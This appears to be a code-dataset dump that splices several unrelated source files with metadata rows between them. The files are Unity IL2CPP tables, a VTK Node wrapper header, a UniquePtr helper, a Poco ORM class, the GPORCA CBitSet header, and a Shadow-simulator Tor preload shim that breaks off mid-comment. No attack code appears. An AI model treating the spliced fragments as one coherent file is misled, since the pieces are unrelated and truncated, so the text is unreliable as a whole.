{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_GameObject_AddComponent_TisT_t1CDEE67E0509AF03A332718973A9FF18ED9D5A42_m59B88C77227130EB32B560C9BDDAD0C0DF38ADC5 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_List_1_tB247115334146A257ABD4D8A3D79BAEA603546DE },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_List_1_get_Count_m97DF00C7C6C0143410EEF396399A1D6A908BC346 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_TU5BU5D_tB5543F2D5F1EC280218C8C8E7ADA41263E62F812 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Array_Resize_TisT_t9D971C63AFD846E94332C10528EC85114CD902BF_m7322F8A336A21B307C8A9A8D9D278820C23030B8 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_List_1_get_Item_m41E61CAFD24899199C0557CE631A4DFDD2D57A9B },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_t8FCD18676B82D793DC8A2271E91F9EAB6C687F6E },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_IEquatable_1_tD6F335D096DFA96D4064803D583F616A2AEBDA14 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t8FCD18676B82D793DC8A2271E91F9EAB6C687F6E_IEquatable_1_Equals_mED01B3ADA33604175CE4EEB55BB6C447E52C2F97 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_t8ECBA28E38C0BADD7C1E53C6815A58E2550FFCD4 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t8ECBA28E38C0BADD7C1E53C6815A58E2550FFCD4_Object_Equals_m07105C4585D3FE204F2A80D58523D001DC43F63B },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_t25255FB169DADFF149FFBE14C8883D431B113A5C },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t25255FB169DADFF149FFBE14C8883D431B113A5C_Object_Equals_m07105C4585D3FE204F2A80D58523D001DC43F63B },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_TMP_ListPool_1_t196C19EA606371960DEE3DBA14C6931363886000 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_TMP_ObjectPool_1_t8A1162899D3A229419EC3BF9001A9353E803D251 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_ObjectPool_1_Get_mBBFF4746AA1057CA9CF5D26A403FE433EAF74F82 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_ObjectPool_1_Release_m1BFEF60D7D335DC7957DFA2B62500267D0046054 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_U3CU3Ec_tD5287145DB1083FA58D1DE73E6759168650C2F69 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_U3CU3Ec_U3C_cctorU3Eb__3_0_m79AA95AFC19F26FDD9D3908A612B409ABCB78D4B },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_UnityAction_1_tCD07B30FDCF4B3342FE374DFC21A60BAF6C9A188 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_UnityAction_1__ctor_m709A080DA4D1E6A960F369648A0E9E1E711D680C },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_ObjectPool_1__ctor_mAC48BF6FFC894645E8278FF2A0E2757D0372706F },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_U3CU3Ec_t1EFE905FD91B5D31E484ECA3DE6ECC81903F86CA },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_U3CU3Ec__ctor_m6581346FF03C23CC25187B84427A34896185647F },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_U3CU3Ec_t1EFE905FD91B5D31E484ECA3DE6ECC81903F86CA },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_List_1_t551E0227199E54FC2269D739FD5831C7CACBD00D },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_List_1_Clear_m3E6FA896DF8B70FF22086C8DB9E282E4D1FC71B0 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_ObjectPool_1_get_countAll_m82B2AB6D4283D3559574BA451C223C47CE884F1C },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_ObjectPool_1_get_countInactive_mB9E058F83EAF2056F60373FD4604D6FC2F9FDA09 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Stack_1_tBB18BE9AAB150218001606CC5163F90787B0B6FB },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Stack_1_get_Count_mDB9B62940BA3CBBB6A65815689C036E8B37BD6A7 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Stack_1__ctor_mE640592B3F050E7D91F65DBF22A3C640E5F5E7DE },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Activator_CreateInstance_TisT_tCEF5C270075F4A7393B4776EB8CF788092CE92B8_m5CD41261847D6AC69103C09C8372BCA075C04EA1 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_ObjectPool_1_set_countAll_mCDD60A520286E35F95D7003A1E184E7C86E95C03 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Stack_1_Pop_mF09DF2B2E1B0429ADD3EAF45878B8A52A8059658 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_UnityAction_1_tE6AC6EB5FAC186761A9E8AD94FE570756E1941B0 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_UnityAction_1_Invoke_m5909A5EDD00EE1D8DC182D01E3B454761DD638B5 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Stack_1_Peek_m767628FEA16A6A791A8196C09538E21A1A022403 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_tCEF5C270075F4A7393B4776EB8CF788092CE92B8 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Stack_1_Push_mED3FC8406CC8AC8BFAA97A0F77DC38A0B24A772E },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Array_Resize_TisT_t14D3FEDE62BEDF67A86FD7A678B129F9785ED1CB_mF6C7057AA70A27626479285F3726670242722AA4 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Array_Resize_TisT_t89279E86F7FA201C826BE6B68E22F7D19A0E08D0_mA3BD1725DD8BB00FBF88EC8E8734614345115254 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Array_Resize_TisT_t7319F20472169540EAF35BC4A8FC343DFECC673E_m08097F3C073A9ADF6C0964318CA4F8F440476E16 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Array_Resize_TisT_tD5147DF4249041E83A18A47AD833785A54303B24_mC37AD89AC3F6D435C25979D14E967652F23C1DC8 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_TU5BU5D_tEB79EEC73DB04B187E4E0F0B7A64A71ECD34A982 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TMP_TextProcessingStack_1_SetDefault_mFF9116F731F3C1FE35E62013579CDBA5BB6C0C98 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Array_Resize_TisT_tEFDB8B1520E48ED22D3DA45F0204F72A29C2E246_m65C14249FA275D747D474DA0A85D5BF0E7EAB85B },
};
IL2CPP_EXTERN_C const Il2CppCodeGenModule g_Unity_TextMeshPro_CodeGenModule;
const Il2CppCodeGenModule g_Unity_TextMeshPro_CodeGenModule =
{
"Unity.TextMeshPro.dll",
1618,
s_methodPointers,
110,
s_adjustorThunks,
s_InvokerIndices,
0,
NULL,
19,
s_rgctxIndices,
113,
s_rgctxValues,
NULL,
NULL, // module initializer,
NULL,
NULL,
NULL,
};
| 66.917293 | 245 | 0.896366 | [
"mesh",
"object",
"transform"
] |
ebf77e09e5503fc9f1e91750d6b75c575251b4eb | 1,301 | h | C | wrappers/8.1.1/vtkMoleculeToBondStickFilterWrap.h | axkibe/node-vtk | 900ad7b5500f672519da5aa24c99aa5a96466ef3 | [
"BSD-3-Clause"
] | 6 | 2016-02-03T12:48:36.000Z | 2020-09-16T15:07:51.000Z | wrappers/8.1.1/vtkMoleculeToBondStickFilterWrap.h | axkibe/node-vtk | 900ad7b5500f672519da5aa24c99aa5a96466ef3 | [
"BSD-3-Clause"
] | 4 | 2016-02-13T01:30:43.000Z | 2020-03-30T16:59:32.000Z | wrappers/8.1.1/vtkMoleculeToBondStickFilterWrap.h | axkibe/node-vtk | 900ad7b5500f672519da5aa24c99aa5a96466ef3 | [
"BSD-3-Clause"
] | null | null | null | /* this file has been autogenerated by vtkNodeJsWrap */
/* editing this might proof futile */
#ifndef NATIVE_EXTENSION_VTK_VTKMOLECULETOBONDSTICKFILTERWRAP_H
#define NATIVE_EXTENSION_VTK_VTKMOLECULETOBONDSTICKFILTERWRAP_H
#include <nan.h>
#include <vtkSmartPointer.h>
#include <vtkMoleculeToBondStickFilter.h>
#include "vtkMoleculeToPolyDataFilterWrap.h"
#include "../../plus/plus.h"
class VtkMoleculeToBondStickFilterWrap : public VtkMoleculeToPolyDataFilterWrap
{
public:
using Nan::ObjectWrap::Wrap;
static void Init(v8::Local<v8::Object> exports);
static void InitPtpl();
static void ConstructorGetter(
v8::Local<v8::String> property,
const Nan::PropertyCallbackInfo<v8::Value>& info);
VtkMoleculeToBondStickFilterWrap(vtkSmartPointer<vtkMoleculeToBondStickFilter>);
VtkMoleculeToBondStickFilterWrap();
~VtkMoleculeToBondStickFilterWrap( );
static Nan::Persistent<v8::FunctionTemplate> ptpl;
private:
static void New(const Nan::FunctionCallbackInfo<v8::Value>& info);
static void NewInstance(const Nan::FunctionCallbackInfo<v8::Value>& info);
static void SafeDownCast(const Nan::FunctionCallbackInfo<v8::Value>& info);
#ifdef VTK_NODE_PLUS_VTKMOLECULETOBONDSTICKFILTERWRAP_CLASSDEF
VTK_NODE_PLUS_VTKMOLECULETOBONDSTICKFILTERWRAP_CLASSDEF
#endif
};
#endif
| 30.97619 | 82 | 0.804766 | [
"object"
] |
230507c7d474eba85114371fdc44649ecc535410 | 2,796 | h | C | Container/UniquePtrImpl.h | AzCopey/ICMemory | f0c903ef80611f1bb8f3efe02e65a59f9633a2f5 | [
"MIT"
] | 1 | 2016-02-01T13:52:54.000Z | 2016-02-01T13:52:54.000Z | Container/UniquePtrImpl.h | AzCopey/ICMemory | f0c903ef80611f1bb8f3efe02e65a59f9633a2f5 | [
"MIT"
] | null | null | null | Container/UniquePtrImpl.h | AzCopey/ICMemory | f0c903ef80611f1bb8f3efe02e65a59f9633a2f5 | [
"MIT"
] | null | null | null | // Created by Ian Copland on 2016-05-04
//
// The MIT License(MIT)
//
// Copyright(c) 2016 Ian Copland
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files(the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and / or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions :
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
#ifndef _ICMEMORY_CONTAINER_UNIQUEPTRIMPL_H_
#define _ICMEMORY_CONTAINER_UNIQUEPTRIMPL_H_
namespace IC
{
//------------------------------------------------------------------------------
template <typename TType, typename... TConstructorArgs> UniquePtr<TType> MakeUnique(IAllocator& allocator, TConstructorArgs&&... constructorArgs) noexcept
{
void* memory = allocator.Allocate(sizeof(TType));
TType* object = new (memory) TType(std::forward<TConstructorArgs>(constructorArgs)...);
return UniquePtr<TType>(object, [&allocator](TType* object) noexcept -> void
{
object->~TType();
allocator.Deallocate(reinterpret_cast<void*>(object));
});
}
//------------------------------------------------------------------------------
template <typename TType> UniquePtr<TType[]> MakeUniqueArray(IAllocator& allocator, std::size_t size) noexcept
{
auto array = reinterpret_cast<TType*>(allocator.Allocate(sizeof(TType) * size));
if (!std::is_fundamental<TType>::value)
{
for (std::size_t i = 0; i < size; ++i)
{
new (array + i) TType();
}
}
return UniquePtr<TType[]>(array, [&allocator, size](TType* array) noexcept -> void
{
if (!std::is_fundamental<TType>::value)
{
for (std::size_t i = 0; i < size; ++i)
{
(array + i)->~TType();
}
}
allocator.Deallocate(reinterpret_cast<void*>(array));
});
}
}
#endif
| 39.942857 | 158 | 0.614807 | [
"object"
] |
230f81ed36e70feda1ec129fa598b0f150088365 | 934 | h | C | LastHope Engine/ModuleScene.h | rohomedesrius/LastHopeEngine | 5a73a0a3cf00fbcd2fa48f0ec1ce2c9bc1057bc0 | [
"MIT"
] | 1 | 2018-10-03T14:01:40.000Z | 2018-10-03T14:01:40.000Z | LastHope Engine/ModuleScene.h | rohomedesrius/LastHopeEngine | 5a73a0a3cf00fbcd2fa48f0ec1ce2c9bc1057bc0 | [
"MIT"
] | null | null | null | LastHope Engine/ModuleScene.h | rohomedesrius/LastHopeEngine | 5a73a0a3cf00fbcd2fa48f0ec1ce2c9bc1057bc0 | [
"MIT"
] | null | null | null | #ifndef __SCENE_H__
#define __SCENE_H__
#include "Module.h"
class myQuadTree;
enum GameState
{
EDIT,
RUNNING,
PAUSED,
};
class ModuleScene : public Module
{
public:
ModuleScene(Application* app, bool start_enabled = true);
~ModuleScene();
bool Start();
update_status PreUpdate(float dt);
update_status Update(float dt);
update_status PostUpdate(float dt);
bool CleanUp();
void Draw();
void HandleDrop();
void LoadFBX(char* path);
void DrawGrid(int size);
//SCENE MANAGEMENT
void Play();
void Pause();
void Stop();
void SaveScene(const char* name);
void LoadScene(const char* name);
void ClearScene();
public:
GameObject* root;
std::vector<GameObject*> scene_game_objects;
myQuadTree* my_quad_tree;
private:
GameState game_state = EDIT;
bool game_pause = false;
bool game_play = false;
Importer importer;
private:
void ManageQuadTree();
int current_gos = 0;
};
#endif //__MODULE_H__ | 14.151515 | 58 | 0.721627 | [
"vector"
] |
2310dbb0e4427074afb9220c61dd02c7b311d350 | 3,310 | h | C | ActiveRecord/testsuite/include/ORM/Employee.h | YKYou/poco | 468f80622845b7015ac6ed02e02475ba43e845dc | [
"BSL-1.0"
] | 5,766 | 2015-01-01T01:27:15.000Z | 2022-03-31T09:27:29.000Z | ActiveRecord/testsuite/include/ORM/Employee.h | YKYou/poco | 468f80622845b7015ac6ed02e02475ba43e845dc | [
"BSL-1.0"
] | 2,345 | 2015-01-01T20:43:10.000Z | 2022-03-31T19:45:02.000Z | ActiveRecord/testsuite/include/ORM/Employee.h | YKYou/poco | 468f80622845b7015ac6ed02e02475ba43e845dc | [
"BSL-1.0"
] | 1,963 | 2015-01-01T01:29:44.000Z | 2022-03-31T06:41:54.000Z | //
// Employee.h
//
// This file has been generated from ORM.xml. Do not edit.
//
#ifndef ORM_Employee_INCLUDED
#define ORM_Employee_INCLUDED
#include "Poco/ActiveRecord/ActiveRecord.h"
#include "ORM/Role.h"
namespace ORM {
class Employee: public Poco::ActiveRecord::ActiveRecord<Poco::UUID>
{
public:
using Ptr = Poco::AutoPtr<Employee>;
explicit Employee(ID id);
Employee() = default;
Employee(const Employee& other);
~Employee() = default;
const std::string& name() const;
Employee& name(const std::string& value);
const std::string& ssn() const;
Employee& ssn(const std::string& value);
Role::Ptr role() const;
Poco::Int16 roleID() const;
Employee& role(Role::Ptr pObject);
Employee& roleID(Poco::Int16 id);
Employee::Ptr manager() const;
const Poco::UUID& managerID() const;
Employee& manager(Employee::Ptr pObject);
Employee& managerID(const Poco::UUID& id);
static Ptr find(Poco::ActiveRecord::Context::Ptr pContext, const ID& id);
void insert();
void update();
void remove();
static const std::vector<std::string>& columns();
static const std::string& table();
private:
std::string _name;
std::string _ssn;
Poco::Int16 _role = Role::INVALID_ID;
Poco::UUID _manager;
friend class Poco::Data::TypeHandler<Employee>;
};
inline const std::string& Employee::name() const
{
return _name;
}
inline Employee& Employee::name(const std::string& value)
{
_name = value;
return *this;
}
inline const std::string& Employee::ssn() const
{
return _ssn;
}
inline Employee& Employee::ssn(const std::string& value)
{
_ssn = value;
return *this;
}
inline Poco::Int16 Employee::roleID() const
{
return _role;
}
inline Employee& Employee::roleID(Poco::Int16 value)
{
_role = value;
return *this;
}
inline const Poco::UUID& Employee::managerID() const
{
return _manager;
}
inline Employee& Employee::managerID(const Poco::UUID& value)
{
_manager = value;
return *this;
}
} // namespace ORM
namespace Poco {
namespace Data {
template <>
class TypeHandler<ORM::Employee>
{
public:
static std::size_t size()
{
return 4;
}
static void bind(std::size_t pos, const ORM::Employee& ar, AbstractBinder::Ptr pBinder, AbstractBinder::Direction dir)
{
TypeHandler<std::string>::bind(pos++, ar._name, pBinder, dir);
TypeHandler<std::string>::bind(pos++, ar._ssn, pBinder, dir);
TypeHandler<Poco::Int16>::bind(pos++, ar._role, pBinder, dir);
TypeHandler<Poco::UUID>::bind(pos++, ar._manager, pBinder, dir);
}
static void extract(std::size_t pos, ORM::Employee& ar, const ORM::Employee& deflt, AbstractExtractor::Ptr pExtr)
{
TypeHandler<std::string>::extract(pos++, ar._name, deflt._name, pExtr);
TypeHandler<std::string>::extract(pos++, ar._ssn, deflt._ssn, pExtr);
TypeHandler<Poco::Int16>::extract(pos++, ar._role, deflt._role, pExtr);
TypeHandler<Poco::UUID>::extract(pos++, ar._manager, deflt._manager, pExtr);
}
static void prepare(std::size_t pos, const ORM::Employee& ar, AbstractPreparator::Ptr pPrep)
{
TypeHandler<std::string>::prepare(pos++, ar._name, pPrep);
TypeHandler<std::string>::prepare(pos++, ar._ssn, pPrep);
TypeHandler<Poco::Int16>::prepare(pos++, ar._role, pPrep);
TypeHandler<Poco::UUID>::prepare(pos++, ar._manager, pPrep);
}
};
} } // namespace Poco::Data
#endif // ORM_Employee_INCLUDED
| 20.432099 | 119 | 0.700906 | [
"vector"
] |
2310e1cc5d185c69f583da8f32fe27bc4b46af63 | 3,705 | h | C | src/backend/gporca/libgpos/include/gpos/common/CBitSet.h | Tylarb/gpdb | 15e1341cfbac7f70d2086a9a1d46149a82765b5e | [
"PostgreSQL",
"Apache-2.0"
] | 1 | 2020-07-08T13:20:27.000Z | 2020-07-08T13:20:27.000Z | src/backend/gporca/libgpos/include/gpos/common/CBitSet.h | Tylarb/gpdb | 15e1341cfbac7f70d2086a9a1d46149a82765b5e | [
"PostgreSQL",
"Apache-2.0"
] | 6 | 2020-06-24T18:56:06.000Z | 2022-02-26T08:53:11.000Z | src/backend/gporca/libgpos/include/gpos/common/CBitSet.h | Tylarb/gpdb | 15e1341cfbac7f70d2086a9a1d46149a82765b5e | [
"PostgreSQL",
"Apache-2.0"
] | null | null | null | //---------------------------------------------------------------------------
// Greenplum Database
// Copyright (C) 2009 Greenplum, Inc.
//
// @filename:
// CBitSet.h
//
// @doc:
// Implementation of bitset as linked list of bitvectors
//---------------------------------------------------------------------------
#ifndef GPOS_CBitSet_H
#define GPOS_CBitSet_H
#include "gpos/base.h"
#include "gpos/common/CDynamicPtrArray.h"
#include "gpos/common/CBitVector.h"
#include "gpos/common/CList.h"
namespace gpos
{
//---------------------------------------------------------------------------
// @class:
// CBitSet
//
// @doc:
// Linked list of CBitSetLink's
//
//---------------------------------------------------------------------------
class CBitSet : public CRefCount
{
// bitset iter needs to access internals
friend class CBitSetIter;
protected:
//---------------------------------------------------------------------------
// @class:
// CBitSetLink
//
// @doc:
// bit vector + offset + link
//
//---------------------------------------------------------------------------
class CBitSetLink
{
private:
// private copy ctor
CBitSetLink(const CBitSetLink &);
// offset
ULONG m_offset;
// bitvector
CBitVector *m_vec;
public:
// ctor
explicit
CBitSetLink(CMemoryPool *, ULONG offset, ULONG vector_size);
explicit
CBitSetLink(CMemoryPool *, const CBitSetLink &);
// dtor
~CBitSetLink();
// accessor
ULONG GetOffset() const
{
return m_offset;
}
// accessor
CBitVector *GetVec() const
{
return m_vec;
}
// list link
SLink m_link;
}; // class CBitSetLink
// list of bit set links
CList<CBitSetLink> m_bsllist;
// pool to allocate links from
CMemoryPool *m_mp;
// size of individual bitvectors
ULONG m_vector_size;
// number of elements
ULONG m_size;
// private copy ctor
CBitSet(const CBitSet&);
// find link with offset less or equal to given value
CBitSetLink *FindLinkByOffset(ULONG, CBitSetLink * = NULL) const;
// reset set
void Clear();
// compute target offset
ULONG ComputeOffset(ULONG) const;
// re-compute size of set
void RecomputeSize();
public:
// ctor
CBitSet(CMemoryPool *mp, ULONG vector_size = 256);
CBitSet(CMemoryPool *mp, const CBitSet &);
// dtor
virtual ~CBitSet();
// determine if bit is set
BOOL Get(ULONG pos) const;
// set given bit; return previous value
BOOL ExchangeSet(ULONG pos);
// clear given bit; return previous value
BOOL ExchangeClear(ULONG pos);
// union sets
void Union(const CBitSet *);
// intersect sets
void Intersection(const CBitSet *);
// difference of sets
void Difference(const CBitSet *);
// is subset
BOOL ContainsAll(const CBitSet *) const;
// equality
BOOL Equals(const CBitSet *) const;
// disjoint
BOOL IsDisjoint(const CBitSet *) const;
// hash value for set
ULONG HashValue() const;
// number of elements
ULONG Size() const
{
return m_size;
}
// print function
virtual
IOstream &OsPrint(IOstream &os) const;
#ifdef GPOS_DEBUG
// debug print for interactive debugging sessions only
void DbgPrint() const;
#endif // GPOS_DEBUG
}; // class CBitSet
// shorthand for printing
inline
IOstream &operator <<
(
IOstream &os,
CBitSet &bs
)
{
return bs.OsPrint(os);
}
}
#endif // !GPOS_CBitSet_H
// EOF
| 19.707447 | 80 | 0.529825 | [
"vector"
] |
2315860c3f822727d0ca5ff205c96a2dab3f5ca6 | 31,285 | c | C | src/tor/shadowtor-preload.c | HenriCrombe/shadow-plugin-tor-enhanced | b5273e9576d4e8f070f5679f6bc7906c2c38c77f | [
"BSD-3-Clause"
] | null | null | null | src/tor/shadowtor-preload.c | HenriCrombe/shadow-plugin-tor-enhanced | b5273e9576d4e8f070f5679f6bc7906c2c38c77f | [
"BSD-3-Clause"
] | null | null | null | src/tor/shadowtor-preload.c | HenriCrombe/shadow-plugin-tor-enhanced | b5273e9576d4e8f070f5679f6bc7906c2c38c77f | [
"BSD-3-Clause"
] | null | null | null | /*
* The Shadow Simulator
* Copyright (c) 2010-2011, Rob Jansen
* See LICENSE for licensing information
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <dlfcn.h>
#include <sys/time.h>
#include <stdint.h>
#include <stdarg.h>
#include <assert.h>
#include <event2/dns.h>
#include <event2/thread.h>
#include <openssl/crypto.h>
#include <glib.h>
#include <gmodule.h>
#include "torlog.h"
/* tor functions */
typedef int (*tor_init_fp)(int argc, char *argv[]);
typedef int (*write_str_to_file_fp)(const char *, const char *, int);
typedef int (*crypto_global_init_fp)(int, const char*, const char*);
typedef int (*crypto_global_cleanup_fp)(void);
typedef int (*crypto_early_init_fp)(void);
typedef int (*crypto_seed_rng_fp)(int);
typedef int (*crypto_init_siphash_key_fp)(void);
typedef void (*tor_ssl_global_init_fp)(void);
/* libevent threading */
typedef void (*evthread_set_id_callback_fp)(unsigned long (*id_fn)(void));
typedef int (*evthread_set_lock_callbacks_fp)(const struct evthread_lock_callbacks *cbs);
typedef int (*evthread_set_condition_callbacks_fp)(const struct evthread_condition_callbacks *cbs);
/* openssl threading */
typedef void (*CRYPTO_set_id_callback_fp)(unsigned long (*func)(void));
typedef void (*CRYPTO_set_locking_callback_fp)(void (*func)(int mode,int type, const char *file,int line));
typedef void (*CRYPTO_set_dynlock_create_callback_fp)(struct CRYPTO_dynlock_value *(*dyn_create_function)(const char *file, int line));
typedef void (*CRYPTO_set_dynlock_lock_callback_fp)(void (*dyn_lock_function)(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line));
typedef void (*CRYPTO_set_dynlock_destroy_callback_fp)(void (*dyn_destroy_function)(struct CRYPTO_dynlock_value *l, const char *file, int line));
typedef struct _InterposeFuncs InterposeFuncs;
struct _InterposeFuncs {
tor_init_fp tor_init;
write_str_to_file_fp write_str_to_file;
crypto_global_init_fp crypto_global_init;
crypto_global_cleanup_fp crypto_global_cleanup;
crypto_early_init_fp crypto_early_init;
crypto_seed_rng_fp crypto_seed_rng;
crypto_init_siphash_key_fp crypto_init_siphash_key;
tor_ssl_global_init_fp tor_ssl_global_init;
evthread_set_id_callback_fp evthread_set_id_callback;
evthread_set_lock_callbacks_fp evthread_set_lock_callbacks;
evthread_set_condition_callbacks_fp evthread_set_condition_callbacks;
CRYPTO_set_id_callback_fp CRYPTO_set_id_callback;
CRYPTO_set_locking_callback_fp CRYPTO_set_locking_callback;
CRYPTO_set_dynlock_create_callback_fp CRYPTO_set_dynlock_create_callback;
CRYPTO_set_dynlock_lock_callback_fp CRYPTO_set_dynlock_lock_callback;
CRYPTO_set_dynlock_destroy_callback_fp CRYPTO_set_dynlock_destroy_callback;
};
typedef struct _PluginData PluginData;
struct _PluginData {
GModule* handle;
InterposeFuncs vtable;
};
typedef struct _PreloadWorker PreloadWorker;
struct _PreloadWorker {
GHashTable* plugins;
PluginData* active;
int consensusCounter;
};
/*
* the key used to store each threads version of their searched function library.
* the use this key to retrieve this library when intercepting functions from tor.
* The PrelaodWorker we store here will be freed using g_free automatically when
* the thread exits.
*/
static GPrivate threadPreloadWorkerKey = G_PRIVATE_INIT(g_free);
/* preload_init must be called before this so the worker gets created */
static PreloadWorker* _shadowtorpreload_getWorker(void) {
/* get current thread's private worker object */
PreloadWorker* worker = g_private_get(&threadPreloadWorkerKey);
if (!worker) {
worker = g_new0(PreloadWorker, 1);
worker->plugins = g_hash_table_new_full(g_direct_hash, g_direct_equal, NULL, g_free);
g_private_set(&threadPreloadWorkerKey, worker);
}
g_assert(worker);
return worker;
}
/* used to stop shadow from intercepting our thread locking mechanisms */
extern void interposer_enable();
extern void interposer_disable();
/* forward declarations */
static void _shadowtorpreload_cryptoSetup(int);
static void _shadowtorpreload_cryptoTeardown(void);
/*
* here we search and save pointers to the functions we need to call when
* we intercept tor's functions. this is initialized for each thread, and each
* thread has pointers to their own functions (each has its own version of the
* plug-in state). We dont register these function locations, because they are
* not *node* dependent, only *thread* dependent.
*/
static PluginData* shadowtorpreload_newPlugin(GModule* handle) {
PluginData* pdata = g_new0(PluginData, 1);
pdata->handle = handle;
/* tor function lookups */
g_assert(g_module_symbol(handle, "tor_init", (gpointer*)&(pdata->vtable.tor_init)));
g_assert(g_module_symbol(handle, "write_str_to_file", (gpointer*)&(pdata->vtable.write_str_to_file)));
g_assert(g_module_symbol(handle, "crypto_global_init", (gpointer*)&(pdata->vtable.crypto_global_init)));
g_assert(g_module_symbol(handle, "crypto_global_cleanup", (gpointer*)&(pdata->vtable.crypto_global_cleanup)));
g_assert(g_module_symbol(handle, "tor_ssl_global_init", (gpointer*)&(pdata->vtable.tor_ssl_global_init)));
/* libevent thread setup */
g_assert((pdata->vtable.evthread_set_id_callback = dlsym(RTLD_NEXT, "evthread_set_id_callback")) != NULL);
g_assert((pdata->vtable.evthread_set_lock_callbacks = dlsym(RTLD_NEXT, "evthread_set_lock_callbacks")) != NULL);
g_assert((pdata->vtable.evthread_set_condition_callbacks = dlsym(RTLD_NEXT, "evthread_set_condition_callbacks")) != NULL);
/* openssl thread setup */
g_assert((pdata->vtable.CRYPTO_set_id_callback = dlsym(RTLD_NEXT, "CRYPTO_set_id_callback")) != NULL);
g_assert((pdata->vtable.CRYPTO_set_locking_callback = dlsym(RTLD_NEXT, "CRYPTO_set_locking_callback")) != NULL);
g_assert((pdata->vtable.CRYPTO_set_dynlock_create_callback = dlsym(RTLD_NEXT, "CRYPTO_set_dynlock_create_callback")) != NULL);
g_assert((pdata->vtable.CRYPTO_set_dynlock_lock_callback = dlsym(RTLD_NEXT, "CRYPTO_set_dynlock_lock_callback")) != NULL);
g_assert((pdata->vtable.CRYPTO_set_dynlock_destroy_callback = dlsym(RTLD_NEXT, "CRYPTO_set_dynlock_destroy_callback")) != NULL);
/* these do not exist in all Tors, so don't assert success */
g_module_symbol(handle, "crypto_early_init", (gpointer*)&(pdata->vtable.crypto_early_init));
g_module_symbol(handle, "crypto_seed_rng", (gpointer*)&(pdata->vtable.crypto_seed_rng));
g_module_symbol(handle, "crypto_init_siphash_key", (gpointer*)&(pdata->vtable.crypto_init_siphash_key));
return pdata;
}
void shadowtorpreload_init(GModule* handle, int nLocks) {
/* lookup all our required symbols in this worker's module, asserting success */
PreloadWorker* worker = _shadowtorpreload_getWorker();
PluginData* pdata = shadowtorpreload_newPlugin(handle);
g_hash_table_insert(worker->plugins, handle, pdata);
/* handle multi-threading support
* initialize our locking facilities, ensuring that this is only done once */
_shadowtorpreload_cryptoSetup(nLocks);
}
void shadowtorpreload_setActive(GModule* handle) {
PreloadWorker* worker = _shadowtorpreload_getWorker();
if(handle) {
worker->active = g_hash_table_lookup(worker->plugins, handle);
} else {
worker->active = NULL;
}
}
void shadowtorpreload_clear(GModule* handle) {
/* the glib thread private worker is freed automatically */
PreloadWorker* worker = _shadowtorpreload_getWorker();
_shadowtorpreload_cryptoTeardown();
g_hash_table_remove(worker->plugins, handle);
}
/********************************************************************************
